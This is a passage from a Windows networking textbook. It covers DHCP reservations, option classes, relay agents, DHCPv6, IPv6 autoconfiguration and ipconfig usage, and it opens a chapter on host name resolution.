4. To add the client reservation to the scope, click Add.
5. Repeat steps 2-5 for any other client reservations that you want to add, and then click Close.
Figure 6-13 shows an example of configuring a reservation.
Figure 6-13 An example of configuring a reservation
The MAC address field is the most important entry in the reservation dialog box because DHCP clients
send their MAC addresses in the DHCPDiscover and DHCPRequest messages. If this value is
incorrectly typed, it will not match the value sent by the DHCP client. As a result, the DHCP server will
assign the client any available IPv4 address in the scope instead of the IPv4 address reserved for the
client. To obtain or verify a DHCP client’s MAC address, type ipconfig /all at the command prompt on
the DHCP client.
Fault Tolerance for Client Reservations
To provide fault tolerance for client reservations, the reservation must exist on at least two DHCP
servers. The client can receive its lease from any DHCP server and will be guaranteed the same IPv4
address. However, the only way to have the same client reservations on multiple DHCP servers is to
have overlapping scopes. If any dynamic addresses are allocated from these overlapping scopes,
addresses will conflict. Therefore, you should not use overlapping scopes unless all of the addresses in
the overlap of the scopes are client reservations.
DHCP Options Classes
An options class is a way for you to further manage options provided to DHCP clients. When you add
an options class to the DHCP server, it can provide DHCP clients of that class with class-specific option
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 183
types for their configuration. DHCP client computers running Windows Vista, Windows XP, Windows
Server 2008, or Windows Server 2003 can also specify a class ID when they communicate with the
server. To support earlier DHCP clients that do not support class IDs, you can configure the DHCP
server with default classes. Options classes can be of two types: vendor classes and user classes.
Vendor Classes
DHCP clients can use vendor-defined options classes to identify the client's vendor type and
configuration to the DHCP server when the client obtains a lease. For a client to identify its vendor class
during the lease process, the client needs to include the Vendor Class ID option (option code 60) in the
DHCPDiscover and DHCPRequest messages.
The vendor class identifier is a string of character data that DHCP servers interpret. Vendors can define
specific vendor class identifiers to convey particular configuration or other identification information
about a client. For example, the identifier might encode the client's hardware or software configuration.
Most vendor types are derived from standard reserved hardware and operating system-type
abbreviation codes listed in RFC 1700.
When a client specifies vendor options, the DHCP server performs the following additional steps to
provide a lease to the client:
1. The server verifies whether the vendor class identified by the client request is also defined on the
server.
2. If the vendor class is defined, the server verifies whether any additional DHCP options are configured
for this class in the matching scope.
If the vendor class is not recognized, the server ignores the vendor class identified in the client request,
and the server returns options allocated to the default vendor class, known as the DHCP Standard
Options vendor class. If the scope contains options configured specifically for use with clients in this
vendor-defined class, the server returns those options using the Vendor-specific option type (option
code 43) in the DHCPAck message.
DHCP clients running Windows Server 2003 or Windows XP use the Microsoft Windows 2000 Options
vendor class, which the DHCP Server service adds by default. In most cases, the default vendor
class—DHCP Standard Options—provides a way to group any Windows-based DHCP clients or other
DHCP clients that do not specify a vendor class ID. In some cases, you might define additional vendor
classes for other DHCP clients, such as printers or some types of UNIX clients. When you add other
vendor classes for these purposes, the vendor class identifier that you use when you configure the
class at the server should match the identifier that the DHCP clients use.
User Classes
User classes allow DHCP clients to differentiate themselves by specifying what types of clients they
are, such as a remote access client computer or desktop computer. For DHCP clients running Windows
Vista, Windows XP, Windows Server 2008, or Windows Server 2003, you can define specific user class
identifiers to convey information about a client's software configuration, its physical location in a
building, or its user preferences. For example, an identifier can specify that DHCP clients are members
of a user-defined class called "2nd floor, West," which needs a special set of router, DNS, and WINS
server settings. An administrator can then configure the DHCP server to assign different option types
depending on the type of client receiving the lease.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 184
You can use user classes in the following ways:
DHCP client computers can identify themselves as part of a specific user class by including DHCP user
class options when sending DHCP request messages to the DHCP server.
DHCP servers running Windows Server 2008 or Windows Server 2003 and the DHCP Server service
can recognize and interpret the DHCP user class options from clients and provide additional options (or
a modified set of DHCP options) based on the client's user class identity.
For example, shorter leases should be assigned to remote access clients who connect to the network
over phone lines or the Internet. Different desktop clients on the same subnet might require special
settings, such as WINS and DNS server settings.
If the client specifies no user-defined option classes, the server assigns that client default settings (such
as server options or scope options).
You add vendor or user classes by right-clicking either the IPv4 node or the DHCP server name in the
DHCP snap-in and then clicking either Define Vendor Classes or Define User Classes. After you
have added the classes, you configure user and vendor class options on the Advanced tab of the
properties of a scope option. Figure 6-14 shows an example.
Figure 6-14 Configuring vendor and user classes
See "Setting and Displaying the Class ID" in this chapter for information about configuring the user
class ID on computers running Windows.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 185
The DHCP Relay Agent
The Routing and Remote Access service in Windows Server 2008 and Windows Server 2003 includes
the DHCP Relay Agent, a routing protocol component that can act as an RFC 1542-compliant DHCP
relay agent (also known as a BOOTP relay agent).
Installing the DHCP Relay Agent
Depending on your choices in the Routing and Remote Access Server Setup Wizard, you might have
already installed the DHCP Relay Agent routing protocol component. If you must install and enable the
DHCP Relay Agent, do the following:
1. In the console tree of the Routing and Remote Access snap-in, double-click the server name.
2. For Windows Server 2008, open IPv4, right-click General, and then click New Routing Protocol.
3. For Windows Server 2003, open IP Routing, right-click General, and then click New Routing
Protocol.
4. In the New Routing Protocol dialog box, click DHCP Relay Agent, and then click OK.
5. In the console tree, right-click DHCP Relay Agent, and then click Properties.
6. In the DHCP Relay Agent Properties dialog box, add the list of IPv4 addresses that correspond to
the DHCP servers on your network to which this computer will forward DHCPDiscover,
DHCPRequest, DHCPDecline, and DHCPInform messages.
Figure 6-15 shows an example of the DHCP Relay Agent Properties dialog box.
Figure 6-15 An example of the DHCP Relay Agent Properties dialog box
After you have installed the DHCP Relay Agent and configured the list of DHCP servers, you must
enable the DHCP Relay Agent on the appropriate interfaces. To enable the DHCP Relay Agent on an
additional interface, do the following:
1. In the console tree of the Routing and Remote Access snap-in, double-click the server name.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 186
2. For Windows Server 2008, open IPv4, right-click DHCP Relay Agent, and then click New Interface.
3. For Windows Server 2003, open IP Routing, right-click DHCP Relay Agent, and then click New
Interface.
4. Click the interface that you want to add, and then click OK.
5. In the DHCP Relay Properties dialog box, on the General tab, verify that the Relay DHCP packets
check box is selected.
6. If needed, in Hop-count threshold and Boot threshold (seconds), click the arrows to modify the
thresholds as needed.
7. Click OK.
Figure 6-16 shows an example of the DHCP Relay Properties dialog box for an interface.
Figure 6-16 An example of the DHCP Relay Properties dialog box for an interface
The Hop count threshold field is the maximum number of DHCP relay agents that can forward a
DHCP message before this DHCP relay agent receives it. When a DHCP relay agent receives a
DHCPDiscover, DHCPRequest, or DHCPDecline message, it checks the value of the Hops field in the
DHCP header of the message. If the value in the Hops field exceeds the value in the hop count
threshold, the DHCP relay agent silently discards the message. If not, the DHCP relay agent
increments the value of the Hops field before forwarding the message.
The Boot threshold (seconds) field is the amount of time that the DHCP relay agent waits before it
forwards broadcast DHCP request messages. This option is useful when you want a DHCP server on
the same subnet as the DHCP client to respond first. If the local DHCP server does not respond, you
want the DHCP relay agent to forward the messages to a remote DHCP server.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 187
Address Autoconfiguration for IPv6
A highly useful feature of IPv6 is its ability to perform address autoconfiguration (specified in RFC
4862). Using address autoconfiguration, an IPv6 host can automatically configure itself without using an
address configuration protocol, such as Dynamic Host Configuration Protocol for IPv6 (DHCPv6). By
default, an IPv6 host can configure a link-local address for each interface. By using router discovery, a
host can also determine the addresses of routers, additional addresses, and other configuration
parameters. The addresses configured using router discovery are known as stateless addresses. For
stateless addresses, the router does not record which IPv6 hosts are using which addresses. The
Router Advertisement message indicates whether an address configuration protocol should be used.
Autoconfigured Address States
Autoconfigured addresses are in one or more of the following states:
Tentative
The address is in the process of being verified as unique. Verification occurs through duplicate
address detection.
Valid
An address from which unicast traffic can be sent and received. The valid state covers both the
preferred and deprecated states. The Router Advertisement message includes the amount of time
that an address remains in the valid state. The valid lifetime must be greater than or equal to the
preferred lifetime.
Preferred
An address for which uniqueness has been verified. A node can send and receive unicast
traffic to and from a preferred address. The Router Advertisement message includes the period
of time that an address can remain in the tentative and preferred states.
Deprecated
An address that is still valid but whose use is discouraged for new communication. Existing
communication sessions can continue to use a deprecated address. A node can send and
receive unicast traffic to and from a deprecated address.
Invalid
An address for which a node can no longer send or receive unicast traffic. An address enters the
invalid state when the valid lifetime expires.
Figure 6-17 shows the relationship between the states of an autoconfigured address and the preferred
and valid lifetimes.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 188
Figure 6-17 States of an autoconfigured IPv6 address
With the exception of link-local addresses, address autoconfiguration is specified only for hosts. You
must manually configure addresses and other parameters on routers.
Types of Autoconfiguration
There are three types of autoconfiguration:
Stateless
Address configuration is based on the receipt of Router Advertisement messages. These messages
include stateless address prefixes and require hosts not to use a stateful address configuration
protocol.
Stateful
Configuration is based on the use of an address configuration protocol, such as DHCPv6, to obtain
addresses and other configuration options. A host uses stateful address configuration when it
receives Router Advertisement messages that do not include address prefixes and that require
hosts to use an address configuration protocol. A host can also use an address configuration
protocol when no routers are present on the local link.
Both
Configuration is based on receipt of Router Advertisement messages. These messages include
stateless address prefixes and require hosts to use a address configuration protocol.
For all autoconfiguration types, a link-local address is always configured.
Autoconfiguration Process
The address autoconfiguration process for an IPv6 node occurs as follows:
1. A tentative link-local address is derived from the link-local prefix of FE80::/64 and the 64-bit interface
identifier.
2. Duplicate address detection is performed to verify the uniqueness of the tentative link-local address.
If duplicate address detection fails, you must configure the node manually.
If duplicate address detection succeeds, the tentative link-local address is assumed to be unique and
valid. The link-local address is initialized for the interface.
For an IPv6 host, address autoconfiguration continues as follows:
1. The host sends a Router Solicitation message.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 189
2. If the host receives no Router Advertisement messages, it can use an address configuration protocol
to obtain addresses and other configuration parameters.
3. If the host receives a Router Advertisement message, the host is configured with the configuration
information that the message includes.
4. For each stateless address prefix that is included:
The address prefix and the appropriate 64-bit interface identifier are used to derive a tentative
address.
Duplicate address detection verifies the uniqueness of the tentative address.
If the tentative address is in use, the address is not initialized for the interface.
If the tentative address is not in use, the address is initialized. This initialization includes setting the
valid and preferred lifetimes based on information in the Router Advertisement message.
5. If specified in the Router Advertisement message, the host uses a stateful address configuration
protocol to obtain additional addresses or configuration parameters.
DHCPv6
DHCPv6 can provide stateful address configuration or stateless configuration settings to IPv6 hosts.
With stateful address autoconfiguration, hosts can use DHCPv6 to configure non-link-local addresses.
An IPv6 host performs stateless address autoconfiguration automatically based on the following flags in
the Router Advertisement message sent by a neighboring router:
Managed Address Configuration Flag, which is also known as the M flag. When set to 1, this flag
instructs the host to use DHCPv6 to obtain stateful addresses.
Other Stateful Configuration Flag , which is also known as the O flag. When set to 1, this flag instructs
the host to use DHCPv6 to obtain other configuration settings.
When both M and O Flags are set to 0, hosts use only router advertisements for non-link-local
addresses and other methods (such as manual configuration) to configure other settings. When both M
and O Flags are set to 1, the host uses DHCPv6 for both addresses and other configuration settings.
This combination is known as DHCPv6 stateful: DHCPv6 is assigning stateful addresses to IPv6 hosts.
When the M Flag is set to 0 and the O Flag is set to 1, the host uses DHCPv6 to obtain other
configuration settings. Neighboring routers are configured to advertise non-link-local address prefixes
from which IPv6 hosts derive stateless addresses. This combination is known as DHCPv6 stateless:
DHCPv6 is not assigning stateful addresses to IPv6 hosts, but stateless configuration settings. When
the M Flag is set to 1 and the O Flag is set to 0, hosts use DHCPv6 for address configuration but not for
other settings. Because IPv6 hosts typically need to be configured with other settings, such as the IPv6
addresses of DNS servers, this is an unlikely combination.
Like DHCP for IPv4, the components of a DHCPv6 infrastructure consist of DHCPv6 clients that
request configuration, DHCPv6 servers that provide configuration, and DHCPv6 relay agents that
convey messages between clients and servers when clients are located on subnets that do not have a
DHCPv6 server.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 190
DHCPv6 Messages and Message Exchanges
As with DHCP for IPv4, DHCPv6 uses User Datagram Protocol (UDP) messages. DHCPv6 clients
listen for DHCP messages on UDP port 546. DHCPv6 servers and relay agents listen for DHCPv6
messages on UDP port 547.
There are no broadcast addresses defined for IPv6. Therefore, the use of the limited broadcast address
for some DHCPv4 messages has been replaced with the use of the
All_DHCP_Relay_Agents_and_Servers multicast address of FF02::1:2 for DHCPv6. For example, a
DHCPv6 client attempting to discover the location of the DHCPv6 server on the network sends a Solicit
message from its link-local address to FF02::1:2. If there is a DHCPv6 server on the host's subnet, it
receives the Solicit message and sends an appropriate reply. More typically, a DHCPv6 relay agent on
the host's subnet receives the Solicit message and forwards it to a DHCPv6 server.
Table 6-2 lists the DHCPv6 messages.
DHCPv6 message
Description
DHCP equivalent
Solicit
Sent by a client to locate
servers.
DHCPDiscover
Advertise
Sent by a server in response to
a Solicit message to indicate
availability.
DHCPOffer
Request
Sent by a client to request
addresses or configuration
settings from a specific server.
DHCPRequest
Confirm
Sent by a client to all servers to
determine if a client's
configuration is valid for the
connected link.
DHCPRequest
Renew
Sent by a client to a specific
server to extend the lifetimes of
assigned addresses and obtain
updated configuration settings.
DHCPRequest
Rebind
Sent by a client to any server
when a response to the Renew
message is not received.
DHCPRequest
Reply
Sent by a server to a specific
client in response to a Solicit,
Request, Renew, Rebind,
Information-Request, Confirm,
Release, or Decline message.
DHCPAck
Release
Sent by a client to indicate that
the client is no longer using an
assigned address.
DHCPRelease
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 191
Decline
Sent by a client to a specific
server to indicate that the
assigned address is already in
use.
DHCPDecline
Reconfigure
Sent by a server to a client to
indicate that the server has new
or updated configuration
settings. The client then sends
either a Renew or Information-
Request message.
N/A
Information-Request
Sent by a client to request
configuration settings (but not
addresses).
DHCPInform
Relay-Forward
Sent by a relay agent to forward
a message to a server. The
Relay-Forward contains a client
message encapsulated as the
DHCPv6 Relay-Message option.
N/A
Relay-Reply
Sent by a server to send a
message to a client through a
relay agent. The Relay-Reply
contains a server message
encapsulated as the DHCPv6
Relay-Message option.
N/A
Table 6-2 DHCPv6 messages
A DHCPv6 stateful message exchange to obtain IPv6 addresses and configuration settings typically
consists of the following messages:
1. A Solicit message sent by the client to locate the servers.
2. An Advertise message sent by a server to indicate that it can provide addresses and configuration
settings.
3. A Request message sent by the client to request addresses and configuration settings from a specific
server.
4. A Reply message sent by the requested server that contains addresses and configuration settings.
If there is a relay agent between the client and the server, the relay agent sends the server Relay-
Forward messages containing the encapsulated Solicit and Request messages from the client. The
server sends the relay agent Relay-Reply messages containing the encapsulated Advertise and Reply
messages for the client.
A DHCPv6 stateless message exchange to obtain only configuration settings typically consists of the
following messages:
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 192
1. An Information-Request message sent by the DHCPv6 client to request configuration settings from a
server.
2. A Reply message sent by a server containing the requested configuration settings.
For an IPv6 network that has routers configured to assign stateless address prefixes to IPv6 hosts, the
two-message DHCPv6 exchange can be used to assign DNS servers, DNS domain names, and other
configuration settings that are not included in router advertisement message.
DHCPv6 Support in Windows
Windows Vista and Windows Server 2008 include a DHCPv6 client. The DHCPv6 client attempts
DHCPv6-based configuration depending on the values of the M and O flags in received router
advertisement messages. Therefore, to use DHCPv6, you must configure DHCPv6 servers and relay
agents to service each IPv6 subnet and then configure your IPv6 routers to set these two flags to their
appropriate values. If there are multiple advertising routers for a given subnet, they should be
configured to advertise the same stateless address prefixes and values of the M and O flags. IPv6
hosts running Windows XP or Windows Server 2003 do not include a DHCPv6 client and ignore the
values of the M and O flags in received router advertisements.
You can configure an IPv6 router that is running Windows Vista or Windows Server 2008 to set the M
flag to 1 in router advertisements with the netsh interface ipv6 set interface InterfaceNameOrIndex
managedaddress=enabled command. Similarly, you can set the O flag to 1 in router advertisements
with the netsh interface ipv6 set interface InterfaceNameOrIndex otherstateful=enabled command.
Windows Server 2008 supports DHCPv6 stateful and stateless configuration with the DHCP Server
service and a DHCPv6 relay agent with the Routing and Remote Access service.
Configuring DHCPv6 Scopes and Options
To create a DHCPv6 scope, do the following:
1. In the console tree of the DHCP snap-in, right-click the IPv6 node, and then click New scope.
2. Follow the instructions in the New Scope Wizard.
To configure a DHCPv6 scope option, do the following:
1. In the console tree of the DHCP snap-in, open the IPv6 node, and then open the applicable scope.
2. Right-click Scope Options, and then click Configure Options.
3. In Available Options, select the check box for the first option that you want to configure.
4. Under Data entry, type the information required for this option, and then click OK.
5. Repeat the steps 3-4 for any other options you want to specify.
Figure 6-18 shows an example of the configuration of the DNS Recursive Name Server IPv6 Address
List scope option.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 193
Figure 6-18 An example of configuring the DNS Recursive Name Server IPv6 Address List scope option
Installing and Configuring the DHCPv6 Relay Agent
To install and configure the DHCPv6 Relay Agent, do the following:
1. In the console tree of the Routing and Remote Access snap-in, double-click the server name, and
then click IPv6.
2. Click IPv6 Routing, right-click General, and then click New Routing Protocol.
3. In the Select Routing Protocol dialog box, click DHCPv6 Relay Agent, and then click OK.
4. In the console tree, right-click DHCPv6 Relay Agent, and then click Properties.
5. In the DHCPv6 Relay Agent Properties dialog box, add the list of IPv6 addresses that correspond
to the DHCPv6 servers on your network.
Figure 6-19 shows an example of the DHCPv6 Relay Agent Properties dialog box.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 194
Figure 6-19 An example of the DHCPv6 Relay Agent Properties dialog box
After you have installed the DHCPv6 Relay Agent and configured the list of DHCPv6 servers, you must
enable the DHCPv6 Relay Agent on the appropriate interfaces. To enable the DHCPv6 Relay Agent on
an additional interface, do the following:
1. In the console tree of the Routing and Remote Access snap-in, double-click the server name, and
then click IPv6.
2. Double-click IPv6 Routing, right-click DHCPv6 Relay Agent, and then click New Interface.
3. Click the interface that you want to add, and then click OK.
4. In the DHCPv6 Relay Properties dialog box, on the General tab, verify that the Relay DHCPv6
packets check box is selected.
5. If needed, in Hop-count threshold and Boot threshold (seconds), click the arrows to modify the
thresholds as needed.
6. Click OK.
Figure 6-20 shows an example of the DHCPv6 Relay Properties dialog box for an interface.
Figure 6-20 An example of the DHCPv6 Relay Properties dialog box for an interface
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 195
Using the Ipconfig Tool
You use the Ipconfig tool to display a computer’s TCP/IP configuration and to manage an IPv4 address
configuration that was allocated using DHCP.
Verifying the IP Configuration
To display basic information about the TCP/IP configuration of a computer that is running Windows,
type ipconfig at the command prompt. The basic TCP/IP configuration information includes the
following for each interface:
Connection-specific DNS suffix
IP addresses (IPv4 and IPv6)
Subnet mask (for IPv4 addresses)
Default gateway
To display detailed information about the TCP/IP configuration of a computer that is running Windows,
type ipconfig /all at the command prompt.
The detailed TCP/IP configuration information includes the following additional items for the computer:
The host name
The primary DNS suffix
The NetBIOS node type
Whether IP routing is enabled
Whether the WINS proxy is enabled
The DNS suffix search list
The detailed TCP/IP configuration information also includes the following additional items for each
interface:
Description of the network adapter
MAC address of the network adapter
Whether DHCP is enabled
Whether autoconfiguration (APIPA) is enabled
The IPv4 address of the DHCP server that allocated the IPv4 address of this interface
The IPv4 addresses of the primary and secondary WINS servers
For an IPv4 address that was allocated using DHCP, when the lease was obtained and when the lease
expires
Renewing a Lease
To renew a lease on an IPv4 address that was allocated using DHCP, type ipconfig /renew at the
command prompt. The /renew parameter causes the DHCP Client service to send a DHCPRequest
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 196
message to the DHCP server to get updated options and a new lease time. If the DHCP server is
unavailable, the client continues to use the current configuration.
Releasing a Lease
To release the current IPv4 address configuration, type ipconfig /release at the command prompt. The
/release parameter causes the DHCP Client service to send a DHCPRelease message to the DHCP
server. This can be useful when the client is moving to a different network and will not need the
previous lease. After you issue this command, the interfaces that previously had IPv4 address
configurations allocated using DHCP are configured with the IPv4 unspecified address of 0.0.0.0, and
TCP/IP communications using that interface stops.
By default, DHCP clients running Windows do not initiate DHCPRelease messages when they shut
down. If a client remains shut down for the length of its lease (and the lease is not renewed), the DHCP
server can assign that client’s IPv4 address to a different client after the lease expires. By not sending a
DHCPRelease message, the client is more likely to receive the same IPv4 address during initialization.
Setting and Displaying the Class ID
To set the user class ID on a computer running Windows, type ipconfig /setclassid Adapter ClassID at
the command prompt, in which Adapter is the name of the interface in Network Connections and
ClassID is the class ID. To remove the class ID from an interface, omit the ClassID parameter.
To display the user class ID, type ipconfig /showclassid Adapter at the command prompt.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 197
Chapter Summary
The chapter includes the following pieces of key information:
DHCP is a TCP/IP standard described in RFCs 2131 and 2132, and it allows TPC/IP hosts to
automatically receive an IPv4 address and other configuration parameters (such as a subnet mask,
default gateway, and others) from a centrally administered DHCP server. Using DHCP eliminates the
administrative and technical support problems associated with users who manually configure their IPv4
address configurations.
DHCP clients exchange a set of messages with a DHCP server to discover the set of DHCP servers,
obtain a set of offered IPv4 address configurations, select a specific IPv4 address configuration, and
receive an acknowledgement. DHCP relay agents facilitate DHCP message exchanges between DHCP
clients and DHCP servers that are located on different subnets.
You can install the DHCP Server service in Windows Server 2003 as an optional networking
component, and you can configure server properties, scopes and superscopes, options, and client
reservations.
You can install and configure the DHCP Relay Agent in Windows Server 2008 and Windows
Server 2003 as a routing protocol component of the Routing and Remote Access service.
Stateless address autoconfiguration for an IPv6 host is done through the router discovery process, in
which IPv6 nodes on a subnet use Router Solicitation and Router Advertisement messages to
automatically configure IPv6 addresses and other configuration options.
Stateful address autoconfiguration for an IPv6 host is done through DHCPv6, based on the M and O
flags in the received Router Advertisement messages. With DHCPv6 stateful operation, both IPv6
address and other settings are assigned by the DHCPv6 server. With DHCPv6 stateless operation, only
IPv6 settings are assigned by the DHCPv6 server.
The DHCP Server service in Windows Server 2008 supports stateful and stateless DHCPv6 operation.
You can install and configure the DHCPv6 Relay Agent in Windows Server 2008 as a routing protocol
component of the Routing and Remote Access service.
You can use the Ipconfig tool to view a computer’s current IP configuration and to manage the IPv4
address configuration that was allocated using DHCP.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 198
Chapter Glossary
address autoconfiguration – The process of automatically configuring IPv6 addresses on an interface.
See also stateless autoconfiguration and stateful autoconfiguration.
BOOTP – See bootstrap protocol (BOOTP).
bootstrap protocol (BOOTP) – A protocol that is defined in RFCs 951 and 1542 and that is used
primarily on TCP/IP networks to configure diskless workstations.
deprecated state – The state of an autoconfigured IPv6 address in which the address is valid but its use
is discouraged for new communication.
DHCP – See Dynamic Host Configuration Protocol (DHCP)
DHCP client – Any network node that supports the ability to communicate with a DHCP server to obtain
a leased IPv4 configuration and related optional parameters information.
DHCP relay agent – An agent program or component that is responsible for relaying DHCP and
BOOTP messages between a DHCP server and a DHCP client. A DHCP relay agent supports
DHCP/BOOTP message relay as defined in RFC 1542. A DHCP relay agent can run on a router or a
host computer.
DHCP server – A computer that offers dynamic configuration of IPv4 addresses and related information
to DHCP-enabled clients.
DHCPv6 stateful – A DHCPv6 operating mode in which a DHCPv6 server assigns stateful addresses to
IPv6 hosts.
DHCPv6 stateless – A DHCPv6 operating mode in which a DHCPv6 server provides stateless
configuration settings but does not assign stateful addresses to IPv6 hosts.
Dynamic Host Configuration Protocol (DHCP) – A TCP/IP standard that offers dynamic leased
configuration of host IPv4 addresses and other configuration parameters to DHCP clients. DHCP
provides safe, reliable, and simple TCP/IP network configuration, prevents address conflicts, and helps
conserve the use of client IPv4 addresses on the network.
Dynamic Host Configuration Protocol for IPv6 (DHCPv6) – A stateful address configuration protocol that
can provide IPv6 hosts with a stateful IPv6 address and other configuration parameters.
exclusion range – A small range of one or more IPv4 addresses within a DHCP scope that are excluded
for allocation to DHCP clients. Exclusion ranges ensure that DHCP servers do not offer specific
addresses within a scope to DHCP clients.
invalid state – The state of an autoconfigured IPv6 address in which it can no longer be used to send or
receive unicast traffic. An IPv6 address enters the invalid state when its valid lifetime expires.
lease – The length of time for which a DHCP client can use a dynamically assigned IPv4 address
configuration. Before the lease time expires, the client must either renew or obtain a new lease with
DHCP.
option – An address configuration parameter that a DHCP server assigns to clients. Most DHCP
options are predefined, based on optional parameters defined in RFC 2132, although vendors or users
can add extended options.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 199
preferred lifetime – The amount of time in which a unicast IPv6 address configured through stateless
address autoconfiguration remains in the preferred state.
preferred state – The state of an autoconfigured IPv6 address for which the address is valid, its
uniqueness has been verified, and it can be used for unlimited communications.
reservation – A specific IPv4 address that is within a scope and that has been permanently reserved for
use by a specific DHCP client. Client reservations are based on a unique client device identifier
(typically its MAC address)
router discovery – An IPv6 Neighbor Discovery process in which a host discovers the routers on an
attached link.
scope – A range of IPv4 addresses that are available to be leased or assigned to DHCP clients by the
DHCP service.
stateful address configuration – The use of a stateful IPv6 address configuration protocol, such as
DHCPv6, to configure IPv6 addresses and configuration parameters.
stateless address configuration – The use of Router Solicitation and Router Advertisement messages to
automatically configure IPv6 addresses and configuration parameters.
superscope – An administrative grouping feature that supports a DHCP server's ability to use more than
scope for a physical network. Each superscope can contain one or more member scopes.
tentative address – A unicast IPv6 address whose uniqueness has not yet been verified.
tentative state – The state of an autoconfigured IPv6 address in which uniqueness has not yet been
verified.
user class – An administrative feature that allows DHCP clients to be grouped logically according to a
shared or common need. For example, you can define a user class and use it to allow similar DHCP
leased configuration for all client computers of a specific type or in a specific building or site location.
valid state – The state of an autoconfigured IPv6 address for which the address can be used for
sending and receiving unicast traffic. The valid state includes both the preferred and deprecated states.
vendor class – An administrative feature that allows DHCP clients to be identified and allocated
addresses and options according to their vendor and hardware configuration type. For example,
assigning a vendor class to a set of printers allows them to be managed as a single unit so they could
all obtain a custom set of DHCP options.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 200
Chapter 7 – Host Name Resolution
TCP/IP Fundamentals for Microsoft Windows
Page: 201
Chapter 7 – Host Name Resolution
Abstract
This chapter describes the various mechanisms that Microsoft Windows-based computers use to resolve host names,
such as www.example.com, to their corresponding IP addresses. Network administrators must understand host name
resolution in Windows to troubleshoot issues with host name resolution and to prepare for the complexities of the
Domain Name System (DNS).
Chapter 7 – Host Name Resolution
TCP/IP Fundamentals for Microsoft Windows
Page: 202
Chapter Objectives
After completing this chapter, you will be able to:
Define a host name.
Explain how a host name is resolved to an IP address using the Hosts file and the Windows DNS client
resolver cache.
Explain how a host name is resolved to an IP address using a DNS server.
Explain how a host name is resolved to an IP address using the Link-Local Multicast Name Resolution
(LLMNR) protocol.
Explain how a host name is resolved to an IP address using additional Windows-specific methods.
Describe how to modify the Hosts file so that host names are resolved to both Internet Protocol version
4 (IPv4) and Internet Protocol version 6 (IPv6) addresses.
Describe the characteristics of the DNS client resolver cache and how to display and flush the cache
with the Ipconfig tool.
Chapter 7 – Host Name Resolution
TCP/IP Fundamentals for Microsoft Windows
Page: 203
TCP/IP Naming Schemes
Before communication can take place, each interface on each TCP/IP node must be assigned a unicast
IP address. A TCP/IP host and its interfaces can also be assigned names. However, the naming
scheme affects the way that a host or interface is referenced in applications. For example:
When using a Windows Sockets application, a user specifies either an IP address or a host name (also
known as a domain name). If the user specifies a host name, TCP/IP for Windows attempts to resolve
the name to an IP (IPv4 or IPv6) address. If the user specifies an IP address, name resolution is not
necessary.
When using a network basic input/output system (NetBIOS) application, a user specifies a computer
name, which the application converts into a 16-character NetBIOS name. TCP/IP for Windows attempts
to resolve the NetBIOS name to an IPv4 address.
With NetBIOS applications, users must always specify the NetBIOS name and not the IPv4 address.
Windows Sockets applications allow users to specify the destination host by its host name or IP
address.
Host Names Defined
A host name is an alias assigned to identify a TCP/IP host or its interfaces. Host names are used in all
TCP/IP environments. The following describes the attributes of a host name:
The host name does not have to match the NetBIOS computer name, and a host name can contain as
many as 255 characters.
Multiple host names can be assigned to the same host.
Host names are easier to remember than IP addresses.
A user can specify host name instead of an IP address when using Windows Sockets applications,
such as the Ping tool or Internet Explorer.
A host name should correspond to an IP address mapping that is stored either in the local Hosts file or
in a database on a DNS server. TCP/IP for Windows also use NetBIOS name resolution methods for
host names.
The Hostname tool displays the computer name of your Windows–based computer, as configured from
the Computer Name tab of the System item of Control Panel.
Chapter 7 – Host Name Resolution
TCP/IP Fundamentals for Microsoft Windows
Page: 204
Host Name Resolution Process
Host name resolution is the process of resolving a host name to an IP address before the source host
sends the initial IP packet. Table 7-1 lists the standard methods of host name resolution for TCP/IP for
Windows.
Resolution Method
Description
Local host name
The configured host name for the computer as
displayed in the output of the Hostname tool. This
name is compared to the destination host name.
Hosts file
A local text file in the same format as the 4.3 Berkeley
Software Distribution (BSD) UNIX \etc\hosts file. This
file maps host names to IP addresses. For TCP/IP for
Windows, the contents of the Hosts file are loaded into
the DNS client resolver cache. For more information,
see "The DNS Client Resolver Cache" in this chapter.
DNS server
A server that maintains a database of IP address-to-
host name mappings and has the ability to query other
DNS servers for mappings that it does not contain.
Table 7-1 Standard Methods of Host Name Resolution
Table 7-2 lists the additional methods used by TCP/IP for Windows to resolve host names.
Chapter 7 – Host Name Resolution
TCP/IP Fundamentals for Microsoft Windows
Page: 205
Resolution Method
Description
DNS client resolver cache
A random access memory (RAM)-based table of the
entries listed in the local Hosts file and the names that
were attempted for resolution by using a DNS server.
Link-local Multicast Name Resolution (LLMNR)
A simple request-reply protocol to resolve names of
computers on the local subnet in the absence of a
DNS server. Only computers running Windows Vista
or Windows Server 2008 support LLMNR.
NetBIOS name cache
A RAM-based table of recently resolved NetBIOS
names and their associated IPv4 addresses.
NetBIOS name server (NBNS)
A server that resolves NetBIOS names to IPv4
